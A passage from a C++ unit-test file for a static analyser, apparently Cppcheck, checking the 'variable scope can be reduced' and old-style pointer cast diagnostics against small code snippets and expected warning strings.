}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" short x;\\n\"\n \"\\n\"\n \" switch (ab) {\\n\"\n \" case A:\\n\"\n \" if(c)\\n\"\n \" do_something(x);\\n\"\n \" break;\\n\"\n \" case B:\\n\"\n \" default:\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) The scope of the variable 'x' can be reduced. [variableScope]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" short x;\\n\"\n \"\\n\"\n \" switch (ab) {\\n\"\n \" case A:\\n\"\n \" if(c)\\n\"\n \" do_something(x);\\n\"\n \" break;\\n\"\n \" case B:\\n\"\n \" default:\\n\"\n \" if(d)\\n\"\n \" do_something(x);\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope20() { // Ticket #5103 - constant variable only used in inner scope\n check(\"int f(int a) {\\n\"\n \" const int x = 234;\\n\"\n \" int b = a;\\n\"\n \" if (b > 32) b = x;\\n\"\n \" return b;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope21() { // Ticket #5382 - initializing two-dimensional array\n check(\"int test() {\\n\"\n \" int test_value = 3;\\n\"\n \" int test_array[1][1] = { { test_value } };\\n\"\n \" return sizeof(test_array);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope22() { // Ticket #5684 - \"The scope of the variable 'p' can be reduced\" - But it can not.\n check(\"void foo() {\\n\"\n \" int* p( 42 );\\n\"\n \" int i = 0;\\n\"\n \" while ( i != 100 ) {\\n\"\n \" *p = i;\\n\"\n \" ++p;\\n\"\n \" ++i;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n // try to avoid an obvious false negative after applying the fix for the example above:\n check(\"void foo() {\\n\"\n \" int* p( 42 );\\n\"\n \" int i = 0;\\n\"\n \" int dummy = 0;\\n\"\n \" while ( i != 100 ) {\\n\"\n \" p = & dummy;\\n\"\n \" *p = i;\\n\"\n \" ++p;\\n\"\n \" ++i;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) The scope of the variable 'p' can be reduced. [variableScope]\\n\", errout_str());\n }\n\n void varScope23() { // #6154: Don't suggest to reduce scope if inner scope is a lambda\n check(\"int main() {\\n\"\n \" size_t myCounter = 0;\\n\"\n \" Test myTest([&](size_t aX){\\n\"\n \" std::cout << myCounter += aX << std::endl;\\n\"\n \" });\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope24() {\n check(\"void f(Foo x) {\\n\"\n \" Foo &r = x;\\n\"\n \" if (cond) {\\n\"\n \" r.dostuff();\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) The scope of the variable 'r' can be reduced. [variableScope]\\n\", errout_str());\n\n check(\"void f(Foo x) {\\n\"\n \" Foo foo = x;\\n\"\n \" if (cond) {\\n\"\n \" foo.dostuff();\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope25() {\n check(\"void f() {\\n\"\n \" time_t currtime;\\n\"\n \" if (a) {\\n\"\n \" currtime = time(&dummy);\\n\"\n \" if (currtime > t) {}\\n\"\n \" }\\n\"\n \"}\", false);\n ASSERT_EQUALS(\"[test.c:2:12]: (style) The scope of the variable 'currtime' can be reduced. [variableScope]\\n\", errout_str());\n }\n\n void varScope26() {\n check(\"void f(const std::map &m) {\\n\"\n \" for (auto it : m) {\\n\"\n \" if (cond1) {\\n\"\n \" int& key = it.first;\\n\"\n \" if (cond2) { dostuff(key); }\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope27() {\n checkP(\"void f() {\\n\"\n \" int x = 0;\\n\"\n \"#ifdef X\\n\"\n \"#endif\\n\"\n \" if (id == ABC) { return x; }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkP(\"void f() {\\n\"\n \"#ifdef X\\n\"\n \"#endif\\n\"\n \" int x = 0;\\n\"\n \" if (id == ABC) { return x; }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:7]: (style) The scope of the variable 'x' can be reduced. [variableScope]\\n\", errout_str());\n }\n\n void varScope28() {\n check(\"void f() {\\n\" // #10527\n \" int i{};\\n\"\n \" if (double d = g(i); d == 1.0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope29() { // #10888\n check(\"enum E { E0 };\\n\"\n \"struct S { int i; };\\n\"\n \"void f(int b) {\\n\"\n \" enum E e;\\n\"\n \" struct S s;\\n\"\n \" if (b) {\\n\"\n \" e = E0;\\n\"\n \" s.i = 0;\\n\"\n \" g(e, s);\\n\"\n \" }\\n\"\n \"}\\n\", false);\n ASSERT_EQUALS(\"[test.c:4:12]: (style) The scope of the variable 'e' can be reduced. [variableScope]\\n\"\n \"[test.c:5:14]: (style) The scope of the variable 's' can be reduced. [variableScope]\\n\",\n errout_str());\n\n check(\"void f(bool b) {\\n\"\n \" std::string s;\\n\"\n \" if (b) {\\n\"\n \" s = \\\"abc\\\";\\n\"\n \" g(s);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:17]: (style) The scope of the variable 's' can be reduced. [variableScope]\\n\", errout_str());\n\n check(\"auto foo(std::vector& vec, bool flag) {\\n\"\n \" std::vector dummy;\\n\"\n \" std::vector::iterator iter;\\n\"\n \" if (flag)\\n\"\n \" iter = vec.begin();\\n\"\n \" else {\\n\"\n \" dummy.push_back(42);\\n\"\n \" iter = dummy.begin();\\n\"\n \" }\\n\"\n \" return *iter;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:28]: (style) Parameter 'vec' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n\n check(\"auto& foo(std::vector& vec, bool flag) {\\n\"\n \" std::vector dummy;\\n\"\n \" std::vector::iterator iter;\\n\"\n \" if (flag)\\n\"\n \" iter = vec.begin();\\n\"\n \" else {\\n\"\n \" dummy.push_back(42);\\n\"\n \" iter = dummy.begin();\\n\"\n \" }\\n\"\n \" return *iter;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope30() { // #8541\n check(\"bool f(std::vector& v, int i) {\\n\"\n \" int n = 0;\\n\"\n \" bool b = false;\\n\"\n \" std::for_each(v.begin(), v.end(), [&](int j) {\\n\"\n \" if (j == i) {\\n\"\n \" ++n;\\n\"\n \" if (n > 5)\\n\"\n \" b = true;\\n\"\n \" }\\n\"\n \" });\\n\"\n \" return b;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope31() { // #11099\n check(\"bool g(std::vector&);\\n\"\n \"void h(std::vector);\\n\"\n \"void f0(std::vector v) {\\n\"\n \" std::vector w{ v };\\n\"\n \" bool b = g(v);\\n\"\n \" if (b)\\n\"\n \" h(w);\\n\"\n \" h(v);\\n\"\n \"}\\n\"\n \"void f1(std::vector v) {\\n\"\n \" std::vector w{ v.begin(), v.end() };\\n\"\n \" bool b = g(v);\\n\"\n \" if (b)\\n\"\n \" h(w);\\n\"\n \" h(v);\\n\"\n \"}\\n\"\n \"void f2(std::vector v) {\\n\"\n \" std::vector w{ 10, 0, std::allocator() };\\n\" // FN\n \" bool b = g(v);\\n\"\n \" if (b)\\n\"\n \" h(w);\\n\"\n \" h(v);\\n\"\n \"}\\n\"\n \"void f3(std::vector v) {\\n\"\n \" std::vector w{ 10, 0 };\\n\" // warn\n \" bool b = g(v);\\n\"\n \" if (b)\\n\"\n \" h(w);\\n\"\n \" h(v);\\n\"\n \"}\\n\"\n \"void f4(std::vector v) {\\n\"\n \" std::vector w{ 10 };\\n\" // warn\n \" bool b = g(v);\\n\"\n \" if (b)\\n\"\n \" h(w);\\n\"\n \" h(v);\\n\"\n \"}\\n\"\n \"void f5(std::vector v) {\\n\"\n \" std::vector w(v);\\n\"\n \" bool b = g(v);\\n\"\n \" if (b)\\n\"\n \" h(w);\\n\"\n \" h(v);\\n\"\n \"}\\n\"\n \"void f6(std::vector v) {\\n\"\n \" std::vector w(v.begin(), v.end());\\n\"\n \" bool b = g(v);\\n\"\n \" if (b)\\n\"\n \" h(w);\\n\"\n \" h(v);\\n\"\n \"}\\n\"\n \"void f7(std::vector v) {\\n\"\n \" std::vector w(10, 0, std::allocator);\\n\" // FN\n \" bool b = g(v);\\n\"\n \" if (b)\\n\"\n \" h(w);\\n\"\n \" h(v);\\n\"\n \"}\\n\"\n \"void f8(std::vector v) {\\n\"\n \" std::vector w(10, 0);\\n\" // warn\n \" bool b = g(v);\\n\"\n \" if (b)\\n\"\n \" h(w);\\n\"\n \" h(v);\\n\"\n \"}\\n\"\n \"void f9(std::vector v) {\\n\"\n \" std::vector w(10);\\n\" // warn\n \" bool b = g(v);\\n\"\n \" if (b)\\n\"\n \" h(w);\\n\"\n \" h(v);\\n\"\n \"}\\n\"\n \"void f10(std::vector v) {\\n\"\n \" std::vector w{};\\n\" // warn\n \" bool b = g(v);\\n\"\n \" if (b)\\n\"\n \" h(w);\\n\"\n \" h(v);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:25:22]: (style) The scope of the variable 'w' can be reduced. [variableScope]\\n\"\n \"[test.cpp:32:22]: (style) The scope of the variable 'w' can be reduced. [variableScope]\\n\"\n \"[test.cpp:60:22]: (style) The scope of the variable 'w' can be reduced. [variableScope]\\n\"\n \"[test.cpp:67:22]: (style) The scope of the variable 'w' can be reduced. [variableScope]\\n\"\n \"[test.cpp:74:22]: (style) The scope of the variable 'w' can be reduced. [variableScope]\\n\",\n errout_str());\n }\n\n void varScope32() { // #11441\n check(\"template \\n\"\n \"std::vector g(F, const std::vector&);\\n\"\n \"void f(const std::vector&v) {\\n\"\n \" std::vector w;\\n\"\n \" for (auto x : v)\\n\"\n \" w = g([&]() { x; }, w);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:6:23]: (warning) Unused variable value 'x' [constStatement]\\n\", errout_str());\n }\n\n void varScope33() { // #11131\n check(\"struct S {\\n\"\n \" const std::string& getStr() const;\\n\"\n \" void mutate();\\n\"\n \" bool getB() const;\\n\"\n \"};\\n\"\n \"void g(S& s) {\\n\"\n \" std::string str = s.getStr();\\n\"\n \" s.mutate();\\n\"\n \" if (s.getB()) {\\n\"\n \" if (str == \\\"abc\\\") {}\\n\"\n \" }\\n\"\n \"}\\n\"\n \"void g(char* s, bool b) {\\n\"\n \" int i = strlen(s);\\n\"\n \" s[0] = '\\\\0';\\n\"\n \" if (b) {\\n\"\n \" if (i == 5) {}\\n\"\n \" }\\n\"\n \"}\\n\"\n \"void f(const S& s) {\\n\"\n \" std::string str = s.getStr();\\n\"\n \" std::string str2{ s.getStr() };\\n\"\n \" std::string str3(s.getStr());\\n\"\n \" if (s.getB()) {\\n\"\n \" if (str == \\\"abc\\\") {}\\n\"\n \" if (str2 == \\\"abc\\\") {}\\n\"\n \" if (str3 == \\\"abc\\\") {}\\n\"\n \" }\\n\"\n \"}\\n\"\n \"void f(const char* s, bool b) {\\n\"\n \" int i = strlen(s);\\n\"\n \" if (b) {\\n\"\n \" if (i == 5) {}\\n\"\n \" }\\n\"\n \"}\\n\"\n \"void f(int j, bool b) {\\n\"\n \" int k = j;\\n\"\n \" if (b) {\\n\"\n \" if (k == 5) {}\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:21:17]: (style) The scope of the variable 'str' can be reduced. [variableScope]\\n\"\n \"[test.cpp:22:17]: (style) The scope of the variable 'str2' can be reduced. [variableScope]\\n\"\n \"[test.cpp:23:17]: (style) The scope of the variable 'str3' can be reduced. [variableScope]\\n\"\n \"[test.cpp:31:9]: (style) The scope of the variable 'i' can be reduced. [variableScope]\\n\"\n \"[test.cpp:37:9]: (style) The scope of the variable 'k' can be reduced. [variableScope]\\n\",\n errout_str());\n }\n\n void varScope34() { // #11742\n check(\"void f() {\\n\"\n \" bool b = false;\\n\"\n \" int i = 1;\\n\"\n \" for (int k = 0; k < 20; ++k) {\\n\"\n \" b = !b;\\n\"\n \" if (b)\\n\"\n \" i++;\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope35() { // #11845\n check(\"void f(int err, const char* src) {\\n\"\n \" const char* msg = \\\"Success\\\";\\n\"\n \" char buf[42];\\n\"\n \" if (err != 0)\\n\"\n \" msg = strcpy(buf, src);\\n\"\n \" printf(\\\"%d: %s\\\\n\\\", err, msg);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"char* g(char* dst, const char* src);\\n\"\n \"void f(int err, const char* src) {\\n\"\n \" const char* msg = \\\"Success\\\";\\n\"\n \" char buf[42];\\n\"\n \" if (err != 0)\\n\"\n \" msg = g(buf, src);\\n\"\n \" printf(\\\"%d: %s\\\\n\\\", err, msg);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"char* g(char* dst, const char* src);\\n\"\n \"void f(int err, const char* src) {\\n\"\n \" const char* msg = \\\"Success\\\";\\n\"\n \" char buf[42];\\n\"\n \" if (err != 0)\\n\"\n \" g(buf, src);\\n\"\n \" printf(\\\"%d: %s\\\\n\\\", err, msg);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:10]: (style) The scope of the variable 'buf' can be reduced. [variableScope]\\n\", errout_str());\n }\n\n void varScope36() {\n // #12158\n check(\"void f( uint32_t value ) {\\n\"\n \" uint32_t i = 0U;\\n\"\n \" if ( value > 100U ) { }\\n\"\n \" else if( value > 50U ) { }\\n\"\n \" else{\\n\"\n \" for( i = 0U; i < 5U; i++ ) {}\\n\"\n \" }\\n\"\n \"}\\n\", true, false);\n ASSERT_EQUALS(\"[test.cpp:2:14]: (style) The scope of the variable 'i' can be reduced. [variableScope]\\n\", errout_str());\n }\n\n void varScope37() {\n // #12158\n check(\"void f( uint32_t value ) {\\n\"\n \" uint32_t i = 0U;\\n\"\n \" if ( value > 100U ) { }\\n\"\n \" else {\\n\"\n \" if( value > 50U ) { }\\n\"\n \" else{\\n\"\n \" for( i = 0U; i < 5U; i++ ) {}\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\\n\", true, false);\n ASSERT_EQUALS(\"[test.cpp:2:14]: (style) The scope of the variable 'i' can be reduced. [variableScope]\\n\", errout_str());\n }\n\n void varScope38() {\n checkP(\"bool dostuff();\\n\" // #12519\n \"#define DOSTUFF(c) if (c < 5) { if (c) b = dostuff(); }\\n\"\n \"#define DOSTUFFEX(c) { bool b = false; DOSTUFF(c); }\\n\"\n \"void f(int a) {\\n\"\n \" DOSTUFFEX(a);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope39() {\n check(\"struct S {\\n\" // #12405\n \" void f(const std::string&) const;\\n\"\n \" const int* g(std::string&) const;\\n\"\n \"};\\n\"\n \"void h(int);\\n\"\n \"void S::f(const std::string& s) const {\\n\"\n \" std::string n = s;\\n\"\n \" const int* a = g(n);\\n\"\n \" if (n == \\\"abc\\\") {\\n\"\n \" h(a[0]);\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope40() {\n checkP(\"#define NUM (-999.9)\\n\" // #8862\n \"double f(int i) {\\n\"\n \" double a = NUM;\\n\"\n \" double b = -NUM;\\n\"\n \" double c = -1.0 * NUM;\\n\"\n \" if (i == 1) {\\n\"\n \" return a;\\n\"\n \" }\\n\"\n \" if (i == 2) {\\n\"\n \" return b;\\n\"\n \" }\\n\"\n \" if (i == 3) {\\n\"\n \" return c;\\n\"\n \" }\\n\"\n \" return 0.0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:12]: (style) The scope of the variable 'a' can be reduced. [variableScope]\\n\"\n \"[test.cpp:4:12]: (style) The scope of the variable 'b' can be reduced. [variableScope]\\n\"\n \"[test.cpp:5:12]: (style) The scope of the variable 'c' can be reduced. [variableScope]\\n\",\n errout_str());\n\n check(\"struct S { int a; };\\n\" // #12618\n \"int f(const S* s, int i) {\\n\"\n \" int x = s->a;\\n\"\n \" const int b[] = { 1, 2, 3 };\\n\"\n \" int y = b[1];\\n\"\n \" if (i)\\n\"\n \" return x + y;\\n\"\n \" return 0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (style) The scope of the variable 'x' can be reduced. [variableScope]\\n\"\n \"[test.cpp:5:9]: (style) The scope of the variable 'y' can be reduced. [variableScope]\\n\",\n errout_str());\n }\n\n void varScope41() { // #11845\n check(\"void get_errmsg(const char **msg, char *buf, size_t bufsiz, int err);\\n\"\n \"void test(int err)\\n\"\n \"{\\n\"\n \" const char *msg = \\\"Success\\\";\\n\"\n \" char buf[42];\\n\"\n \" if (err != 0)\\n\"\n \" get_errmsg(&msg, buf, sizeof(buf), err);\\n\"\n \" printf(\\\"%d: %s\\\\n\\\", err, msg);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void get_errmsg(char *buf, size_t bufsiz, int err);\\n\"\n \"void test(int err)\\n\"\n \"{\\n\"\n \" const char *msg = \\\"Success\\\";\\n\"\n \" char buf[42];\\n\"\n \" if (err != 0)\\n\"\n \" get_errmsg(buf, sizeof(buf), err);\\n\"\n \" printf(\\\"%d: %s\\\\n\\\", err, msg);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:5:10]: (style) The scope of the variable 'buf' can be reduced. [variableScope]\\n\", errout_str());\n }\n\n void varScope42() {\n check(\"void f(const char **, char *);\\n\"\n \"void g(int e) {\\n\"\n \" const char *msg = \\\"Something\\\";\\n\"\n \" char buf[42];\\n\"\n \" if (e != 0)\\n\"\n \" f(&msg, buf);\\n\"\n \" printf(\\\"result: %s\\\\n\\\", msg);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(char *, char *);\\n\"\n \"void g(int e) {\\n\"\n \" char msg [42] = \\\"Something\\\";\\n\"\n \" char buf[42];\\n\"\n \" if (e != 0)\\n\"\n \" f(msg, buf);\\n\"\n \" printf(\\\"result: %s\\\\n\\\", msg);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const char *, char *);\\n\"\n \"void g(int e) {\\n\"\n \" const char *msg = \\\"Something\\\";\\n\"\n \" char buf[42];\\n\"\n \" if (e != 0)\\n\"\n \" f(msg, buf);\\n\"\n \" printf(\\\"result: %s\\\\n\\\", msg);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:10]: (style) The scope of the variable 'buf' can be reduced. [variableScope]\\n\", errout_str());\n\n check(\"void f(int **, char *);\\n\"\n \"void g(int e) {\\n\"\n \" int *msg = calloc(0, sizeof(*msg));\\n\"\n \" char buf[42];\\n\"\n \" if (e != 0)\\n\"\n \" f(&msg, buf);\\n\"\n \" printf(\\\"result: %d\\\\n\\\", *msg);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:10]: (style) The scope of the variable 'buf' can be reduced. [variableScope]\\n\", errout_str());\n\n check(\"void f(const char *&, const char *&);\\n\"\n \"void g(int e) {\\n\"\n \" const char *msg = \\\"Something\\\";\\n\"\n \" char *buf = malloc(42);\\n\"\n \" if (e != 0)\\n\"\n \" f(msg, buf);\\n\"\n \" printf(\\\"result: %d\\\\n\\\", msg);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void g(const char* format, ...);\\n\"\n \"void f(bool b) {\\n\"\n \" const char* s = \\\"abc\\\";\\n\"\n \" if (b)\\n\"\n \" g(\\\"%d %s\\\", 1, s);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:17]: (style) The scope of the variable 's' can be reduced. [variableScope]\\n\", errout_str());\n }\n\n void varScope43() {\n check(\"struct S { int a, b; };\\n\" // #13838\n \"int f(S s) {\\n\"\n \" auto& [x, y] = s;\\n\"\n \" if (x < 5) {\\n\"\n \" return y;\\n\"\n \" }\\n\"\n \" return 0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S { int a; };\\n\"\n \"int f(S s) {\\n\"\n \" auto& [x] = s;\\n\"\n \" if (y) {\\n\"\n \" return x;\\n\"\n \" }\\n\"\n \" return 0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:12]: (style) The scope of the variable 'x' can be reduced. [variableScope]\\n\", errout_str());\n }\n\n#define checkOldStylePointerCast(...) checkOldStylePointerCast_(__FILE__, __LINE__, __VA_ARGS__)\n template\n void checkOldStylePointerCast_(const char* file, int line, const char (&code)[size], Standards::cppstd_t std = Standards::CPPLatest) {\n\n const Settings settings = settingsBuilder().severity(Severity::warning).severity(Severity::style).cpp(std).build();\n\n // Tokenize..\n SimpleTokenizer tokenizerCpp(settings, *this);\n ASSERT_LOC(tokenizerCpp.tokenize(code), file, line);\n\n CheckOther checkOtherCpp(&tokenizerCpp, &settings, this);\n checkOtherCpp.warningOldStylePointerCast();\n checkOtherCpp.warningDangerousTypeCast();\n }\n\n void oldStylePointerCast() {\n checkOldStylePointerCast(\"class Base{};\\n\"\n \"class Derived: public Base {};\\n\"\n \"void foo(Base* base)\\n\"\n \"{\\n\"\n \" Derived * d = (Derived *) base;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:19]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\", errout_str());\n\n checkOldStylePointerCast(\"class Base{};\\n\"\n \"class Derived: public Base {};\\n\"\n \"void foo(Derived* derived)\\n\"\n \"{\\n\"\n \" Base * b = (Base *) derived;\\n\" // <- cast from derived to base is safe => cstyleCast\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:16]: (style) C-style pointer casting [cstyleCast]\\n\", errout_str());\n\n checkOldStylePointerCast(\"void foo(Base* base)\\n\"\n \"{\\n\"\n \" Derived * d = (Derived *) base;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:19]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\", errout_str());\n\n checkOldStylePointerCast(\"class Base{};\\n\"\n \"class Derived: public Base {};\\n\"\n \"void foo(Base* base)\\n\"\n \"{\\n\"\n \" Derived * d = (const Derived *) base;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:19]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\", errout_str());\n\n checkOldStylePointerCast(\"class Base{};\\n\"\n \"class Derived: public Base {};\\n\"\n \"void foo()\\n\"\n \"{\\n\"\n \" Derived * d = (const Derived *) ( new Base() );\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:19]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\", errout_str());\n\n checkOldStylePointerCast(\"class Base{};\\n\"\n \"class Derived: public Base {};\\n\"\n \"void foo()\\n\"\n \"{\\n\"\n \" Derived * d = (const Derived *) new Base();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:19]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\", errout_str());\n\n checkOldStylePointerCast(\"class Base{};\\n\"\n \"void foo()\\n\"\n \"{\\n\"\n \" Base * b = (Base *) new short[10];\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:16]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\", errout_str());\n\n checkOldStylePointerCast(\"class Base;\\n\"\n \"void foo()\\n\"\n \"{\\n\"\n \" Base * b = (volatile Base *) derived;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:16]: (style) C-style pointer casting [cstyleCast]\\n\", errout_str());\n\n checkOldStylePointerCast(\"class Base;\\n\"\n \"void foo()\\n\"\n \"{\\n\"\n \" Base * b = (volatile Base * const) derived;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:16]: (style) C-style pointer casting [cstyleCast]\\n\", errout_str());\n\n checkOldStylePointerCast(\"class Base;\\n\"\n \"void foo()\\n\"\n \"{\\n\"\n \" Base * b = (const volatile Base *) derived;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:16]: (style) C-style pointer casting [cstyleCast]\\n\", errout_str());\n\n checkOldStylePointerCast(\"class Base;\\n\"\n \"void foo()\\n\"\n \"{\\n\"\n \" Base * b = (const volatile Base * const) derived;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:16]: (style) C-style pointer casting [cstyleCast]\\n\", errout_str());\n\n checkOldStylePointerCast(\"class Base;\\n\"\n \"void foo()\\n\"\n \"{\\n\"\n \" Base * b = (const Base *) ( new Derived() );\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:16]: (style) C-style pointer casting [cstyleCast]\\n\", errout_str());\n\n checkOldStylePointerCast(\"class Base;\\n\"\n \"void foo()\\n\"\n \"{\\n\"\n \" Base * b = (const Base *) new Derived();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:16]: (style) C-style pointer casting [cstyleCast]\\n\", errout_str());\n\n checkOldStylePointerCast(\"class Base;\\n\"\n \"void foo()\\n\"\n \"{\\n\"\n \" Base * b = (const Base *) new short[10];\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:16]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\", errout_str());\n\n checkOldStylePointerCast(\"class B;\\n\"\n \"class A\\n\"\n \"{\\n\"\n \" virtual void abc(B *) const = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOldStylePointerCast(\"class B;\\n\"\n \"class A\\n\"\n \"{\\n\"\n \" virtual void abc(const B *) const = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #3630\n checkOldStylePointerCast(\"class SomeType{};\\n\"\n \"class X : public Base {\\n\"\n \" X() : Base((SomeType*)7) {}\\n\" // <- intToPointerCast\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOldStylePointerCast(\"class SomeType{};\\n\"\n \"class X : public Base {\\n\"\n \" X() : Base((SomeType*)0x7000) {}\\n\" // <- it's common in embedded code to cast address\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOldStylePointerCast(\"class SomeType;\\n\"\n \"class X : public Base {\\n\"\n \" X() : Base((SomeType*)var) {}\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:16]: (style) C-style pointer casting [cstyleCast]\\n\", errout_str());\n\n checkOldStylePointerCast(\"class SomeType;\\n\"\n \"class X : public Base {\\n\"\n \" X() : Base((SomeType*)0) {}\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #5560\n checkOldStylePointerCast(\"class C;\\n\"\n \"\\n\"\n \"class B\\n\"\n \"{ virtual G* createGui(S*, C*) const = 0; };\\n\"\n \"\\n\"\n \"class MS : public M\\n\"\n \"{ virtual void addController(C*) override {} };\", Standards::CPP03);\n ASSERT_EQUALS(\"\", errout_str());\n\n // #6164\n checkOldStylePointerCast(\"class Base {};\\n\"\n \"class Derived: public Base {};\\n\"\n \"void testCC() {\\n\"\n \" std::vector v;\\n\"\n \" v.push_back((Base*)new Derived);\\n\"\n \"}\");\n // FIXME write a dangerousTypeCast warning instead\n ASSERT_EQUALS(\"[test.cpp:5:15]: (style) C-style pointer casting [cstyleCast]\\n\", errout_str());\n\n // #7709\n checkOldStylePointerCast(\"typedef struct S S;\\n\"\n \"typedef struct S SS;\\n\"\n \"typedef class C C;\\n\"\n \"typedef long LONG;\\n\"\n \"typedef long* LONGP;\\n\"\n \"struct T {};\\n\"\n \"typedef struct T TT;\\n\"\n \"typedef struct T2 {} TT2;\\n\"\n \"void f(int* i) {\\n\"\n \" S* s = (S*)i;\\n\"\n \" SS* ss = (SS*)i;\\n\"\n \" struct S2* s2 = (struct S2*)i;\\n\"\n \" C* c = (C*)i;\\n\"\n \" class C2* c2 = (class C2*)i;\\n\"\n \" long* l = (long*)i;\\n\"\n \" LONG* l2 = (LONG*)i;\\n\"\n \" LONGP l3 = (LONGP)i;\\n\"\n \" TT* tt = (TT*)i;\\n\"\n \" TT2* tt2 = (TT2*)i;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:10:12]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\"\n \"[test.cpp:11:14]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\"\n \"[test.cpp:12:21]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\"\n \"[test.cpp:13:12]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\"\n \"[test.cpp:14:20]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\"\n \"[test.cpp:15:15]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast 